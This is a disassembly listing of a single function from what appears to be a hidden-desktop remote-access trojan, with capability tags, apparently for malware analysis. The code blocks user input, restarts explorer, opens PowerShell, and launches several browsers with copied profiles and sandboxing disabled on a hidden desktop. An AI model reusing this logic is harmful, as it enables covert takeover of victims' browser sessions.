Function at 0x10003307
Capabilities:
Create process on windows
Create process suspended
Get common file path
Get file size
Query or enumerate registry value
Read file on windows
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xae4
mov eax, dword [0x10067168]
xor eax, esp
mov dword [esp + 0xae0], eax
push ebx
mov ebx, dword [ebp + 8]
movzx eax, byte [ebx]
push esi
add eax, 0xfffffffc
push edi
mov esi, ecx
mov dword [esp + 0x1c], ebx
cmp eax, 0xc5
ja case.0x1000303e.11
movzx eax, byte [eax + 0x10004324]
jmp dword [eax*4 + 0x100042d0]
call fcn.10002ee0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
cmp byte [esi + 0x115], 0
mov edi, dword [sym.imp.USER32.dll_BlockInput]
je 0x10003074
push 0
call edi
mov ecx, dword [ebp + 0xc]
inc ebx
push ebx
dec ecx
mov ebx, esi
call fcn.10004a30
mov al, byte [esi + 0x115]
test al, al
je case.default.0x10003314
movzx ecx, al
push ecx
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov edx, dword [esi + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
call fcn.10005d50
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [ebx + 1]
push eax
add esi, 0x115
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
movzx ecx, byte [esi]
push ecx
call dword [sym.imp.USER32.dll_BlockInput]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
movzx edx, byte [ebx + 1]
push edx
add esi, 0x116
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
push esi
call fcn.10005050
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je case.default.0x10003314
mov edi, dword [ebp + 0xc]
inc ebx
dec edi
push ebx
call fcn.10005000
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
call fcn.100050e0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov bl, byte [ebx + 1]
mov ecx, dword [esi + 0x1b4]
movzx eax, bl
push eax
add ecx, 0x28
push ecx
mov byte [esi + 0x120], bl
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
call fcn.10002fb0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov edx, dword [esi + 0x1b4]
mov dword [edx + 0x20], 0x3c
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x1b4]
mov dword [eax + 0x20], 0x55
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 0x1b4]
mov dword [ecx + 0x20], 0x64
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov byte [esi + 0x1e8], 1
add dword [esi + 0x1e4], 0x1f4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
xor eax, eax
mov byte [esi + 0x1e8], al
mov dword [esi + 0x1e4], eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x1d8], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [ebx + 1]
xor eax, eax
cmp ebx, eax
je 0x10003296
mov byte [esi + 0x1e8], 1
mov dword [esi + 0x1e4], ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [ebx + 1]
cmp eax, 0xc
ja case.default.0x10003314
jmp dword [eax*4 + 0x100043ec]
lea edx, [esp + 0x20]
push edx
push 0xf003f
xor ebx, ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
mov edi, 2
push connect
mov dword [esp + 0x30], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x78]
push ecx
lea edx, [esp + 0x78]
push edx
push ebx
push str.TaskbarGlomLevel
mov esi, 4
push eax
mov dword [esp + 0x3c], esi
mov dword [esp + 0x88], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [esp + 0x74], edi
je 0x10003393
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push ebx
push str.TaskbarGlomLevel
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x206
lea edx, [esp + 0x4d6]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x4dc], cx
call fcn.100027b0
add esp, 0xc
push 0x104
lea eax, [esp + 0x4d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x100633c4
lea ecx, [esp + 0x4d4]
push ecx
call esi
push str.explorer.exe
lea edx, [esp + 0x4d4]
push edx
call esi
push 0x40
lea eax, [esp + 0x30]
push ebx
push eax
call fcn.100027b0
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x2c]
push edx
push ebx
push ebx
push ebx
push ebx
xor eax, eax
push ebx
push ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
push ebx
lea eax, [esp + 0x4f4]
push eax
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x58], 0x100698b8
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.USER32.dll_FindWindowW]
mov dword [esp + 0x78], 0x24
nop
push 0x3e8
call esi
push 0
push str.shell_TrayWnd
call edi
mov dword [esp + 0x7c], eax
test eax, eax
jne 0x1000346e
inc ebx
cmp ebx, 5
jl 0x10003450
lea ecx, [esp + 0x78]
push ecx
push 0xa
mov dword [esp + 0xa0], 2
call dword [sym.imp.SHELL32.dll_SHAppBarMessage]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push edx
lea eax, [esp + 0x78]
push eax
push 4
push 0
push str.TaskbarGlomLevel
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xca]
push ecx
mov word [esp + 0xcc], ax
call fcn.100027b0
add esp, 0xc
lea edx, [esp + 0xc0]
push edx
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._rundll32.exe_shell32.dll_61
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
lea ecx, [esp + 0x30]
push 0
push ecx
call fcn.100027b0
add esp, 0xc
xor eax, eax
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0xe0]
push ecx
push 0
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x58], 0x100698b8
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x6e2]
push eax
mov word [esp + 0x6e4], dx
call fcn.100027b0
add esp, 0xc
push str.cmd.exe__c_start_powershell__noexit__command___console_::windowwidth__100__console_::windowheight__30___console_::bufferwidth___console_::windowwidth_
lea ecx, [esp + 0x6dc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
lea edx, [esp + 0x30]
push 0
push edx
call fcn.100027b0
add esp, 0xc
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x6f8]
push edx
push 0
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x58], 0x100698b8
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x4da]
push ecx
mov word [esp + 0x4dc], ax
call fcn.100027b0
add esp, 0xc
lea edx, [esp + 0x4d0]
push edx
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.GoogleChrome_
lea eax, [esp + 0x4d4]
push eax
call edi
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x6e2]
push edx
mov word [esp + 0x6e4], cx
call fcn.100027b0
add esp, 0xc
lea eax, [esp + 0x4d0]
push eax
lea ecx, [esp + 0x6dc]
push ecx
call edi
push str.User_Data_
lea edx, [esp + 0x6dc]
push edx
call edi
xor eax, eax
push 0x44
push eax
lea ecx, [esp + 0x82]
push ecx
mov word [esp + 0x84], ax
call fcn.100027b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xca]
push eax
mov word [esp + 0xcc], dx
call fcn.100027b0
add esp, 0xc
lea ecx, [esp + 0x4d0]
push ecx
lea edx, [esp + 0xc4]
push edx
call edi
lea esi, [esp + 0x78]
call fcn.100027f0
mov eax, esi
push eax
lea ecx, [esp + 0xc4]
push ecx
call edi
lea edx, [esp + 0xc0]
push edx
lea eax, [esp + 0x6dc]
push eax
call fcn.10002940
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x2da]
push edx
mov word [esp + 0x2dc], cx
call fcn.100027b0
add esp, 0x14
push str.cmd.exe__c_start
lea eax, [esp + 0x2cc]
push eax
call edi
push str.chrome.exe
lea ecx, [esp + 0x2cc]
push ecx
call edi
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11____origin_trial_disabled_featuresSecurePaymentConfirmation___user_data_dir
lea edx, [esp + 0x2cc]
push edx
call edi
push 0x1006381c
lea eax, [esp + 0x2cc]
push eax
call edi
lea ecx, [esp + 0xc0]
push ecx
lea edx, [esp + 0x2cc]
push edx
call edi
push 0x40
lea eax, [esp + 0x30]
push 0
push eax
call fcn.100027b0
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x2e8]
push eax
push 0
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x58], 0x100698b8
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0xca]
push edx
mov word [esp + 0xcc], cx
call fcn.100027b0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
push str.cmd.exe__c_start
lea eax, [esp + 0xc4]
push eax
call esi
push 0x10063820
lea ecx, [esp + 0xc4]
push ecx
call esi
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea edx, [esp + 0xc4]
push edx
call esi
push 0x40
lea eax, [esp + 0x30]
push 0
push eax
call fcn.100027b0
add esp, 0xc
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc0]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x2c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x58], 0x100698b8
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
call fcn.10002b90
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0xca]
push edx
mov word [esp + 0xcc], cx
call fcn.100027b0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
push str.cmd.exe__c_start
lea eax, [esp + 0xc4]
push eax
call esi
push str.brave.exe
jmp 0x10003846
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x4da]
push edx
mov word [esp + 0x4dc], cx
call fcn.100027b0
add esp, 0xc
lea eax, [esp + 0x4d0]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MozillaFirefox_
lea ecx, [esp + 0x4d4]
push ecx
call esi
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x6e2]
push eax
mov word [esp + 0x6e4], dx
call fcn.100027b0
add esp, 0xc
lea ecx, [esp + 0x4d0]
push ecx
lea edx, [esp + 0x6dc]
push edx
call esi
push str.TaskbarGlomLevel
lea eax, [esp + 0x6dc]
push eax
call esi
push 0
push 0x80
push 3
push 0
push 3
push 1
lea ecx, [esp + 0x6f0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je case.default.0x10003314
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
xor ecx, ecx
lea eax, [ebx + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000ceb4
add esp, 4
push 0
mov esi, eax
lea eax, [esp + 0x74]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor ecx, ecx
push str.IsRelative
mov word [esi + ebx*2], cx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrW]
push esi
call ebx
test eax, eax
jne 0x10003a4b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je case.default.0x10003314
push esi
call fcn.1000c7dd
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
xor edx, edx
cmp word [eax + 0x16], 0x31
push str.Path
sete dl
push esi
mov dword [esp + 0x24], edx
call ebx
mov ebx, eax
test ebx, ebx
je 0x10003a1c
push 0x10063960
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x10003a1c
xor ecx, ecx
xor edx, edx
mov word [eax], cx
push 0x206
push edx
lea eax, [esp + 0xca]
push eax
add ebx, 0xa
mov word [esp + 0xcc], dx
call fcn.100027b0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0xc
cmp dword [esp + 0x1c], 0
je 0x10003abe
lea ecx, [esp + 0x4d0]
push ecx
lea edx, [esp + 0xc4]
push edx
call edi
push ebx
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea esi, [esp + 0x78]
call fcn.100027f0
lea ecx, [esp + 0x4d0]
push ecx
lea edx, [esp + 0x8e4]
push edx
call edi
mov eax, esi
push eax
lea ecx, [esp + 0x8e4]
push ecx
call edi
lea edx, [esp + 0x8e0]
push edx
lea eax, [esp + 0xc4]
push eax
call fcn.10002940
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x2da]
push edx
mov word [esp + 0x2dc], cx
call fcn.100027b0
add esp, 0x14
push str.cmd.exe__c_start
lea eax, [esp + 0x2cc]
push eax
call edi
push 0x10063964
lea ecx, [esp + 0x2cc]
push ecx
call edi
push str.__no_remote__profile
lea edx, [esp + 0x2cc]
push edx
call edi
push 0x1006381c
lea eax, [esp + 0x2cc]
push eax
call edi
lea ecx, [esp + 0x8e0]
push ecx
lea edx, [esp + 0x2cc]
push edx
call edi
push 0x1006381c
lea eax, [esp + 0x2cc]
push eax
call edi
push 0x40
lea ecx, [esp + 0x30]
push 0
push ecx
call fcn.100027b0
add esp, 0xc
xor eax, eax
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x2e8]
push ecx
jmp 0x1000389c
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x6e2]
push eax
mov word [esp + 0x6e4], dx
call fcn.100027b0
add esp, 0xc
push str.cmd.exe__c_start
lea ecx, [esp + 0x6dc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.iexplore.exe
lea edx, [esp + 0x6dc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
lea eax, [esp + 0x30]
push 0
push eax
call fcn.100027b0
add esp, 0xc
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x6d8]
jmp 0x10003885
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x8ea]
push edx
mov word [esp + 0x8ec], cx
call fcn.100027b0
add esp, 0xc
add ebx, 2
push ebx
lea eax, [esp + 0x8e4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40
lea ecx, [esp + 0x30]
push 0
push ecx
call fcn.100027b0
add esp, 0xc
xor eax, eax
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x900]
push ecx
jmp 0x1000389c
push 0x618
call fcn.1000cc37
add esp, 4
push 0x618
mov ebx, eax
push 0
push ebx
call fcn.100027b0
mov esi, dword [esp + 0x28]
add esi, 2
mov ecx, 0x186
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
lea edi, [ebx + 0x208]
push edi
push ebx
call fcn.10002940
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x2da]
push eax
mov word [esp + 0x2dc], dx
call fcn.100027b0
add esp, 0x14
push str.cmd.exe__c_start
lea ecx, [esp + 0x2cc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [ebx + 0x410]
push edx
lea eax, [esp + 0x2cc]
push eax
call esi
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea ecx, [esp + 0x2cc]
push ecx
call esi
push 0x1006381c
lea edx, [esp + 0x2cc]
push edx
call esi
push edi
lea eax, [esp + 0x2cc]
push eax
call esi
push 0x40
lea ecx, [esp + 0x30]
push 0
push ecx
call fcn.100027b0
add esp, 0xc
xor eax, eax
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x2e8]
push ecx
push 0
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x58], 0x100698b8
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push ebx
call fcn.1000c7dd
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xca]
push eax
mov word [esp + 0xcc], dx
call fcn.100027b0
add esp, 0xc
lea ecx, [esp + 0xc0]
push ecx
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.360ChromeChrome_
lea edx, [esp + 0xc4]
push edx
call edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x6e2]
push ecx
mov word [esp + 0x6e4], ax
call fcn.100027b0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0xc
lea edx, [esp + 0xc0]
push edx
lea eax, [esp + 0x6dc]
push eax
call ebx
push str.User_Data_
lea ecx, [esp + 0x6dc]
push ecx
call edi
xor edx, edx
push 0x44
push edx
lea eax, [esp + 0x82]
push eax
mov word [esp + 0x84], dx
call fcn.100027b0
add esp, 0xc
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x4da]
push edx
mov word [esp + 0x4dc], cx
call fcn.100027b0
add esp, 0xc
lea eax, [esp + 0xc0]
push eax
lea ecx, [esp + 0x4d4]
push ecx
call ebx
lea esi, [esp + 0x78]
call fcn.100027f0
mov edx, esi
push edx
lea eax, [esp + 0x4d4]
push eax
call edi
lea ecx, [esp + 0x4d0]
push ecx
lea edx, [esp + 0x6dc]
push edx
call fcn.10002940
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x2da]
push ecx
mov word [esp + 0x2dc], ax
call fcn.100027b0
add esp, 0x14
push str.cmd.exe__c_start
lea edx, [esp + 0x2cc]
push edx
call ebx
push str.360chrome.exe
lea eax, [esp + 0x2cc]
push eax
call edi
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea ecx, [esp + 0x2cc]
push ecx
call edi
push 0x1006381c
lea edx, [esp + 0x2cc]
push edx
call edi
lea eax, [esp + 0x4d0]
push eax
lea ecx, [esp + 0x2cc]
push ecx
call edi
push 0x40
lea edx, [esp + 0x30]
push 0
push edx
call fcn.100027b0
add esp, 0xc
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x2e8]
push edx
jmp 0x1000389c
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xca]
push ecx
mov word [esp + 0xcc], ax
call fcn.100027b0
add esp, 0xc
lea edx, [esp + 0xc0]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x100633c4
lea eax, [esp + 0xc4]
push eax
call edi
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x6e2]
push edx
mov word [esp + 0x6e4], cx
call fcn.100027b0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0xc
lea eax, [esp + 0xc0]
push eax
lea ecx, [esp + 0x6dc]
push ecx
call ebx
push str.secoresdk_
lea edx, [esp + 0x6dc]
push edx
call edi
xor eax, eax
push 0x44
push eax
lea ecx, [esp + 0x82]
push ecx
mov word [esp + 0x84], ax
call fcn.100027b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x4da]
push eax
mov word [esp + 0x4dc], dx
call fcn.100027b0
add esp, 0xc
lea ecx, [esp + 0xc0]
push ecx
lea edx, [esp + 0x4d4]
push edx
call ebx
lea esi, [esp + 0x78]
call fcn.100027f0
mov eax, esi
push eax
lea ecx, [esp + 0x4d4]
push ecx
call edi
lea edx, [esp + 0x4d0]
push edx
lea eax, [esp + 0x6dc]
push eax
call fcn.10002940
add esp, 8
push str.360se6Application360se.exe
jmp 0x100041c3
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xca]
push ecx
mov word [esp + 0xcc], ax
call fcn.100027b0
add esp, 0xc
lea edx, [esp + 0xc0]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x100633c4
lea eax, [esp + 0xc4]
push eax
call edi
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x6e2]
push edx
mov word [esp + 0x6e4], cx
call fcn.100027b0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0xc
lea eax, [esp + 0xc0]
push eax
lea ecx, [esp + 0x6dc]
push ecx
call ebx
push str.360se6_
lea edx, [esp + 0x6dc]
push edx
call edi
xor eax, eax
push 0x44
push eax
lea ecx, [esp + 0x82]
push ecx
mov word [esp + 0x84], ax
call fcn.100027b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x4da]
push eax
mov word [esp + 0x4dc], dx
call fcn.100027b0
add esp, 0xc
lea ecx, [esp + 0xc0]
push ecx
lea edx, [esp + 0x4d4]
push edx
call ebx
lea esi, [esp + 0x78]
call fcn.100027f0
mov eax, esi
push eax
lea ecx, [esp + 0x4d4]
push ecx
call edi
lea edx, [esp + 0x4d0]
push edx
lea eax, [esp + 0x6dc]
push eax
call fcn.10002940
add esp, 8
push str.Application360se.exe
lea ecx, [esp + 0x4d4]
push ecx
call edi
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x2d2]
push eax
mov word [esp + 0x2d4], dx
call fcn.100027b0
add esp, 0xc
push str.cmd.exe__c_start
lea ecx, [esp + 0x2cc]
push ecx
call ebx
lea edx, [esp + 0x4d0]
push edx
lea eax, [esp + 0x2cc]
push eax
call edi
push str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea ecx, [esp + 0x2cc]
push ecx
call edi
push 0x40
lea edx, [esp + 0x30]
push 0
push edx
call fcn.100027b0
add esp, 0xc
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x2e8]
push edx
push 0
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x58], 0x100698b8
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x100698b4]
push eax
call dword [sym.imp.USER32.dll_CloseDesktop]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xae0]
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8
call fcn.10001bf0
mov ecx, dword [esp + 0xaec]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000c6af
mov esp, ebp
pop ebp
ret 8